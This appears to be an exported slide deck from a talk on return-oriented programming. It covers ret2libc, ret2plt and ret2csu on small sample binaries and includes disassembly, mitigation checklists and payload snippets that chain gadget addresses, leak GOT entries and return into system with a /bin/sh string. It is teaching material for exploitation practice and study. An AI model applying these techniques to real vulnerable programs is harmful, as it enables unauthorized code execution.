Ret to csu

gad_1 = p64(0x00000000004011d1) # pop rsi, pop r15, ret
gad_csu = p64(0x00000000004011ca) # pop rbx, rbp, r12, r13, r14, r15
gad_csu_call = p64(0x04011B0)
pop_rdi_ret = p64(0x00000000004011d3)
write = p64(0x40114a)
got_w = p64(0x404018)
rdx_val = 30

pay = bytes(("A" * 72).encode()) + gad_csu + p64(0x0) + p64(0x1) + p64(fd) + got_w + p64(rdx_val) + got_w + gad_csu_call

 

Based on the research of Dr. Ripol and Dr. Hector from blackhat  2018

Title Text

Agenda

  • What is a ropchain?
  • Exploit Mitigations
  • Case 1: No ASLR: ret2libc
  • Case 2: Bypassing ASLR using plt and got (ret2plt)
  • Case 3: Bypassing ASLR using ret2csu (with limited gadgets)

Title Text

What is a ropchain?

  • Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as NX, ASLR, code-signing and others.

  •  

The subroutine DrawLine has been called by DrawSquare, source: Wikipedia

Exploit Mitigations

1. NX: Stack not executable

2. ASLR: Address spaces are randomized

3. Stack Protector (stack cookies)

4. RELRO: Relocation Read Only (read only GOT)

5. PIE: Position-independent code

Text

Sample Program (abc.c)

   0x0000000000400537 <+0>:     push   rbp
   0x0000000000400538 <+1>:     mov    rbp,rsp
   0x000000000040053b <+4>:     sub    rsp,0x50
   0x000000000040053f <+8>:     lea    rdi,[rip+0xae]        # 0x4005f4
   0x0000000000400546 <+15>:    call   0x400430 <puts@plt>
   0x000000000040054b <+20>:    lea    rax,[rbp-0x50]
   0x000000000040054f <+24>:    mov    rdi,rax
   0x0000000000400552 <+27>:    mov    eax,0x0
   0x0000000000400557 <+32>:    call   0x400440 <gets@plt>
   0x000000000040055c <+37>:    mov    eax,0x0
   0x0000000000400561 <+42>:    leave
   0x0000000000400562 <+43>:    ret

 

Text

Case 1

Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘

RelRO                         : Full

ASLR                           : Not enabled

 

No pie, no canary, known libc version, ASLR disabled

Case 1 Exploit (ret2libc)

1. Libc is known and ASLR is disabled.

2. First execute binary in background and check /proc/pid/maps. Copy libc base.

3. Once libc is known the exploit is simply to return to system with rdi=binsh string.

4. Usually all libcs will have /bin/sh somewhere in the memory space.

5. We can leverage pwntools to find offsets to system and binsh.

6. We will also need a pop rdi, gadget. Which we can grab using ropper

pay = "A" * offset + pop_rdi + p64(binsh) + ret + p64(system)

 

Case 2

Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘

RelRO                         : Full

ASLR                           : 64 bit enabled

 

No pie, no canary, no libc version

Case 2: Exploit (ret2plt)

  1. Find gadgets to control rdi and print leaks
  2. To leak we can leverage the use of GOT table entries and PLT entries.
  3. controlling rdi: pop rdi, ret
  4. payload = "A" * offset + pop_rdi + got_puts + plt_puts + main
  5. Calculate libc base
  6. Leverage second call to vuln to do ret2system

Case 2: Exploit in action

pay = "A" * 88 + pop_rdi + puts_got +  puts_plt + pop_rdi + gets_got + puts_plt + main
p.sendline(pay)

puts_leak = p.readline().strip()[::-1].encode('hex')
gets_leak = p.readline().strip()[::-1].encode('hex')
puts_libc = int(puts_leak, base=16)
gets_libc = int(puts_leak, base=16)
print ('puts_leak',  puts_leak)
print ("gets_leak", gets_leak)

Case 3

Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘

RelRO                         : Full

ASLR                           : x64 enabled

 

No pie, no canary, unknown libc version, no puts

   0x0000000000400537 <+0>:     push   rbp
   0x0000000000400538 <+1>:     mov    rbp,rsp
   0x000000000040053b <+4>:     sub    rsp,0x50
   0x000000000040053f <+8>:     mov    edx,0x5
   0x0000000000400544 <+13>:    lea    rsi,[rip+0xb9]   # 0x400604
   0x000000000040054b <+20>:    mov    edi,0x1
   0x0000000000400550 <+25>:    mov    eax,0x0
   0x0000000000400555 <+30>:    call   0x400430 <write@plt>
   0x000000000040055a <+35>:    lea    rax,[rbp-0x50]
   0x000000000040055e <+39>:    mov    rdi,rax
   0x0000000000400561 <+42>:    mov    eax,0x0
   0x0000000000400566 <+47>:    call   0x400440 <gets@plt>
   0x000000000040056b <+52>:    mov    eax,0x0
   0x0000000000400570 <+57>:    leave  
   0x0000000000400571 <+58>:    ret   

Case 3: Exploit (ret2csu)

1. Whats the different? no puts?

2. write has 3 arguments, we need to set rdx >=8 to leak an address from the GOT.

3. write forces us to control 3 registers: rdi, rsi, rdx.

4. rdi and rsi are easy to controll.

 

 

 

 

 

 

Case 3: Exploit (ret2csu)

5. what about rdx

 

 

 

6. We'd need to figure out how to control rdx to get a libc leak and proceed with a ret2system or ret2execve.

7. Here comes ret2csu.

 

Case 3: Exploit (ret2csu)

__lib_csu_init

We can use gadgets at 0x4005da and 0x4005c0 to get control over rdx

 

registers: r15, r14, r13 are set to: rdx, rsi, edi respectively.

Exploit (ret2csu) in action

1. Leak libc using write(1, got_entry, 8); leverage csu call and pop gadgets.

2. Leak gets and write address

3. Put it in libc database to figure out the libc used.

4. Find offsets to system and binsh. Use pop rdi and jump to system.

Final words

  • Repo with slides, final exploits and code added: github.com/lionaneesh/darkCON-ret2csu
  • Questions at twitter: @lionaneesh
  • Checkout https://anee.me for CTF writeups and guides on some exploitation techniques.
  • Thanks for watching! :)

Ret2csu

By Aneesh Dogra

Ret2csu

  • 384